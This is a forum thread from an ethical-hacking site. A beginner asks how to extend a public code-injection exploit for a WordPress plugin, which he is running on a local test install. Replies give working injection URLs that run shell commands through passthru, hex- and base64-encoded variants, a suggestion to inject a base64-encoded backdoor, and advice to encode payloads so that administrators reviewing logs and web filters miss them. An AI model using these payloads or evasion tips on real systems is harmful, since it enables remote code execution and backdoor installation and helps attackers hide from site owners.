Home
Calendar
Certifications
Columns
Features
Forum
Resources
Vitals
Latest Additions
April 2013 Free Giveaway Sponsor - eLearnSecurity
Human Intelligence to Navigate the Security Data Deluge
February 2013 Free Giveaway Winner of SANS CyberCon Training
Interview: Bugcrowd Founders on Herding Ninjas for Crowdsourced Bug Bounties
Network Forensics: The Tree in the Forest
March 2013 Free Giveaway Sponsor - Mile2
Book Review: Violent Python
February 2013 Free Giveaway Sponsor - SANS
Holiday 2012 Free Giveaway Winner of Metasploit Pro by Rapid7
Course Review: SANS FOR408 Computer Forensic Investigations – Windows In-Depth
The Security Consulting Sugar High
Tutorial: Fun with SMB on the Command Line
Interview: Ilia Kolochenko, CEO of High-Tech Bridge
October 2012 Free Giveaway Winner of LearningGate Training
The Broken: Assessing Corporate Security in 2012 to Make a Better 2013
EH-Net Login
Welcome Guest.
Username:
Password:
Remember me
Lost Password?
No account yet?
Register
Who's Online
We have 23 guests online
You are here:
EH-Net
May 19, 2013, 01:21:16 PM
Welcome,
Guest
. Please
login
or
register
.
Did you miss your
activation email?
1 Hour
1 Day
1 Week
1 Month
Forever
Login with username, password and session length
News
: Go back to The Ethical Hacker Network Online Magazine
Home Page
Home
Help
Calendar
Login
Register
EH-Net
>
Ethical Hacking Discussions and Related Certifications
>
Web Applications
(Moderator:
don
) >
Wordpress plugin exploit
Pages: [
1
]
Go Down
« previous
next »
Print
Author
Topic: Wordpress plugin exploit (Read 11383 times)
0 Members and 1 Guest are viewing this topic.
jonas
Newbie
Offline
Posts: 46
Wordpress plugin exploit
«
on:
July 22, 2011, 05:38:22 AM »
Hi,
I'm playing around with my wordpress installation trying out various exploits found on exploit-db. However, I'm pretty new to pentesting web applications.
I'm trying out this:
http://www.exploit-db.com/exploits/17299/
Running "
http://localhost/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();passthru(ipconfig);error
" gives me the ipconfig of the local machine no problems.
However, i would like to get spacing in there. I tried URL encoding (likeipconfig%20/all) but that didn't seem to work. I'd like to do "dir C:\" for example. Also, could i run other types of code in there to upload php backdoor or connect and download it from ftp to webroot or similar?
Any help please?
Error message using URL encoding:
eprecated: Function set_magic_quotes_runtime() is deprecated in C:\xampp\htdocs\wp-settings.php on line 32
Array
Warning: Division by zero in C:\xampp\htdocs\wp-content\plugins\is-human\engine.php(29) : eval()'d code on line 1
Warning: passthru() [function.passthru]: Cannot execute a blank command in C:\xampp\htdocs\wp-content\plugins\is-human\engine.php(29) : eval()'d code on line 1
Warning: error_log() expects at least 1 parameter, 0 given in C:\xampp\htdocs\wp-content\plugins\is-human\engine.php(29) : eval()'d code on line 1
Logged
Data_Raid
Full Member
Offline
Posts: 165
Re: Wordpress plugin exploit
«
Reply #1 on:
July 22, 2011, 06:40:07 AM »
I'm no expert but ..... would $nbsp; work?
Code:
(ipconfig$nbsp;/all)
Logged
All men by nature desire knowledge.
Aristotle
hayabusa
Hero Member
Offline
Posts: 1630
Re: Wordpress plugin exploit
«
Reply #2 on:
July 22, 2011, 11:59:56 AM »
I'm also guessing (not sitting by a machine to try it, right the moment) that it doesn't like the / character, and you might need to encode that, as well, if simply using the %20 for the space doesn't work.
Part of your error info lends to my thinking, too:
"Warning: Division by zero in C:\xampp\htdocs\wp-content\plugins\is-human\engine.php(29) : eval()'d code on line 1"
It's misinterpreting the / as a division, and turning your whole command into gibberish:
"Warning: passthru() [function.passthru]: Cannot execute a blank command in C:\xampp\htdocs\wp-content\plugins\is-human\engine.php(29) : eval()'d code on line 1"
«
Last Edit: July 22, 2011, 12:12:40 PM by hayabusa
»
Logged
~ hayabusa ~
"All men can see these tactics whereby I conquer, but what none can see is the strategy out of which victory is evolved." - Sun Tzu, 'The Art of War'
OSCE, OSCP , GPEN, C|EH
MaXe
Hero Member
Offline
Posts: 669
I've just upgraded myself to a cyborg muahahaa!!1
Re: Wordpress plugin exploit
«
Reply #3 on:
July 22, 2011, 12:23:05 PM »
If you can execute PHP successfully like this:
http://localhost/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();passthru(ipconfig);error
Just use input like this:
http://localhost/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval
("\x41\x41\x41");error
(Those hexadecimal A's being
PHP CODE
that should be executed. So within eval, write passthru("IP Config") and then
ENCODE
it. It's very important you encode it.)
An alternative way, is:
http://localhost/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode
("t00wt00w"));error
Where "t00wt00w" is a base64 encoded backdoor.
Need help? Try HaXxd00r (you may encounter encoding errors fyi!)
Reference:
www.intern0t.net/haxxd00r
(Yes, it's free to use and it's only for educationable purposes etc.)
Edit:
IF you're already within an eval() statement, you should avoid using eval() again. It may not work as intended. But feel free to try.
You could try something like this:
http://localhost/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();base64_decode
("t00wt00w");error
Where "t00wt00w" is a base64 encoded backdoor or whatever you want. Have fun!
«
Last Edit: July 22, 2011, 12:25:24 PM by MaXe
»
Logged
I'm an InterN0T'er
hayabusa
Hero Member
Offline
Posts: 1630
Re: Wordpress plugin exploit
«
Reply #4 on:
July 22, 2011, 12:29:48 PM »
MaXe has a good point, and beat me to it. Was about to reply again, and simply suggest that best practice would be to encode the whole string, anyway.
Multiple reasons:
1.) gets you past errors like you hit
2.) less chance that an admin reviewing a log would have a clue what it was you actually did
3.) gets you past other web filtering solutions they might have in place.
4.) it's way cooler anyway
Logged
~ hayabusa ~
"All men can see these tactics whereby I conquer, but what none can see is the strategy out of which victory is evolved." - Sun Tzu, 'The Art of War'
OSCE, OSCP , GPEN, C|EH
MaXe
Hero Member
Offline
Posts: 669
I've just upgraded myself to a cyborg muahahaa!!1
Re: Wordpress plugin exploit
«
Reply #5 on:
July 23, 2011, 01:07:18 PM »
Quote from: hayabusa on July 22, 2011, 12:29:48 PM
Multiple reasons: (for encoding a payload - MaXe)
1.) gets you past errors like you hit
2.) less chance that an admin reviewing a log would have a clue what it was you actually did
3.) gets you past other web filtering solutions they might have in place.
4.) it's way cooler anyway
Quoted for Truth!
Logged
I'm an InterN0T'er
jonas
Newbie
Offline
Posts: 46
Re: Wordpress plugin exploit
«
Reply #6 on:
July 24, 2011, 03:19:35 PM »
Hehe. Absolutely way cooler in hex!!
I really appreciate the feedback!
I will be testing this at work tomorrow and tell you how it went!
Much obliged!
Logged
jonas
Newbie
Offline
Posts: 46
Re: Wordpress plugin exploit
«
Reply #7 on:
July 25, 2011, 03:54:52 AM »
Hi again guys,
I tried the stuff you said and I'm somewhat convinced this should work! However it doesn't! I'ts most likely me doing something wrong...
I tried alot of stuff like (ipconfig):
http://localhost/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();passthru
("\x65\x72\x72\x6f\x72\x5f\x72\x65\x70\x6f\x72\x74\x69\x6e\x67\x28\x30\x29\x3b\x65\x63\x68\x6f\x20\x40\x69\x6e\x63\x6c\x75\x64\x65\x28\x24\x5f\x50\x4f\x53\x54\x5b\x22\x69\x70\x63\x6f\x6e\x66\x69\x67\x22\x5d\x29\x3b");error
Tried both POST/GET just to check it out.
I also tried various variants of the base64 with different function calls.
Errors are turned off.
Most of the time im getting this error message:
Parse error: syntax error, unexpected '"', expecting T_STRING in C:\xampp\htdocs\wp-content\plugins\is-human\engine.php(29) : eval()'d code on line 1
Removing apostrophes gives me:
Parse error: syntax error, unexpected T_NS_SEPARATOR, expecting T_STRING in C:\xampp\htdocs\wp-content\plugins\is-human\engine.php(29) : eval()'d code on line 1
Any clues?
Btw, that "HaXxd00r" was pure awesomeness =)
Logged
MaXe
Hero Member
Offline
Posts: 669
I've just upgraded myself to a cyborg muahahaa!!1
Re: Wordpress plugin exploit
«
Reply #8 on:
July 25, 2011, 12:58:45 PM »
I'm not sure if passthru() Accepts that kind of input, even though it should, but then again.. It takes arguments and executes them as commands on the target Operating System, so if it doesn't convert the input, then an error would be returned.
Try: passthru(base64_decode("bHMgLWFs"))
Or: passthru(base64_decode('bHMgLWFs'))
(This should execute an "ls -al" command, note there's a space included.)
For that kind hexadecimal input, you will _always_ need to encapsulate the input in quotes " in most cases, using apostrophes ' may not work, even though it should!
(I think I encountered a problem like this once, a long time ago, not 100% sure since it should be the same, in most cases where variables and other special characters are not used.)
Note:
Hmm, but after thinking about the first error for a while, the error could be caused due to you use ", and you should try to use ' then. I know it sounds strange, but all I can do is guess when I don't have the source code of that engine.php script
Logged
I'm an InterN0T'er
Pages: [
1
]
Go Up
Print
« previous
next »
Jump to:
Please select a destination:
-----------------------------
EH-Net
-----------------------------
=> Calendar Of Events
===> ChicagoCon 2007
===> ChicagoCon 2008s
===> ChicagoCon 2008f
===> ChicagoCon 2009s
=> Ethical Hacktivism
=> News Items and General Discussion About EH-Net
===> Greetings
=> Special Events
-----------------------------
Ethical Hacking Discussions and Related Certifications
-----------------------------
=> General Certification
===> Networking
===> OS
===> Security
=> Compliance, Regulations & Standards
=> Control Systems
=> Cyber Warfare
=> Forensics
===> CCE / MCCE - (Master) Certified Computer Examiner
===> CHFI - Computer Hacking Forensic Investigator
===> EnCE - EnCase® Certified Examiner
===> GCFA - GIAC Certified Forensics Analyst
=> Hardware
=> Incident Response
===> CSIH - Computer Security Incident Handler
===> GCIH - GIAC Certified Incident Handler
=> Malware
===> Advisories
=> Mobile
=> Network Pen Testing
===> CEH - Certified Ethical Hacker
===> CPTC - Certified Penetration Testing Consultant
===> CPTE - Certified Penetration Testing Engineer
===> CSTA - Certified Security Testing Associate
===> eCPPT - eLearnSecurity Certified Professional Penetration Tester
===> ECSA - EC-Council Certified Security Analyst
===> GPEN - GIAC Certified Penetration Tester
===> OSCP - Offensive Security Certified Professional
=> Physical Security
=> Programming
=> Social Engineering
=> Web Applications
=> Wireless
===> CWNP Certs
===> GAWN - GIAC Assessing Wireless Networks
===> OSWP - Offensive Security Wireless Professional
=> Other
-----------------------------
Columns
-----------------------------
=> Editor-In-Chief
=> Andress
=> Gates
=> Haddix
=> Hadnagy
=> Heffner
=> Hoffman
=> Linn
=> RichM
=> Murray
=> J. Peltier
=> Weidman
=> Wilson
-----------------------------
Features
-----------------------------
=> /root
=> Book Reviews
=> Opinions
=> Skillz
===> Examples
===> May 06 - Star Hacks, Episode V: The Empire Hacks Back
===> July 06 - Hack Bill!
===> Sept 06 - Netcat in the Hat
===> Nov 06 - Hitch-Hackers Guide to the Galaxy
===> Dec 06 - A Christmas (Hacking) Story
===> Feb 07 - Charlottes Web Site
===> April 07 - Microsoft Office Space
===> June 07 - Serenity Hack
===> Oct 07 - Worst. Ethical. Hacker. Challenge. Ever.
===> Dec 07 - Frosty the Snow Crash
===> March 2008 - It Happened One Friday
===> Oct 2008 - Scooby Doo and the Crypto Caper
===> Dec 08 - Santa Claus Is Hacking to Town
===> Feb 2009 - Brady Bunch Boondoggle
===> July 2009 - Prison Break
===> October 2009 - SSHliders
===> December 2009 - Miracle on Thirty-Hack Street
===> December 2010 - The Nightmare Before Charlie Browns Christmas
-----------------------------
Resources
-----------------------------
=> Career Central
===> Looking For Work
===> Looking To Hire
=> Links to cool sites.
=> Mass Media
=> News from the Outside World
=> Tools
=> Tutorials
===> Tutorial Requests
Loading...
Exclusive Deal
SANSFIRE 2013
June 15 - 22
5% Off
w/ Code
:
EHN_5
SANS Deals 4 EH-Netters
5% OFF
Any
SANS Course
in Any Format!
Coupon Code:
EHN_5
Including
SANS Rocky Mountain 2013
&
SANS Boston 2013
Polls
Compared to this year, 2013 will be:
Great!
Better.
About the same.
Little worse.
FUBAR!
Recent Forum Topics
General Certification
: Red Team/Blue Team
(1) by
ajohnson
OSCP - Offensive Security Certified Professional
: Class Scheduled 6/8 - Linux n00b
(6) by
Grendel
Career Central
: Starter cert?
(3) by
Grendel
Network Pen Testing
: Beginner Ethical Hacker
(1) by
m0wgli
General Certification
: CPT Practical Submission
(0) by
z28power4u
Web Applications
: Nessus and Nikto
(4) by
Seen
Tutorials
: Need guidance
(7) by
impelse
Malware
: EICAR?
(2) by
SephStorm
Network Pen Testing
: Cracking salted MD5 hash
(4) by
n37sh@rk
CEH - Certified Ethical Hacker
: Passed my C|EH
(3) by
n37sh@rk
Mass Media
: EC-council hacked, irony at his best?
(0) by
j0rDy
Web Applications
: SQL Injection into an INSERT statement.
(6) by
eyenit0
Network Pen Testing
: Solution for sipXtapi INVITE Message CSeq Field Header Remote Overflow
(1) by
m0wgli
Web Applications
: dns
(2) by
H1t M0nk3y
Other
: BSides Boston
(0) by
3xban
Career Central
: InfoSec in Central, FL
(2) by
tturner
Web Applications
: Web vulnerability scanner
(4) by
H1t M0nk3y
EH-Net News Feeds
Latest Additions
Privacy Notice
for TDCC & All Properties
© 2013 The Ethical Hacker Network
Joomla!
is Free Software released under the GNU/GPL License.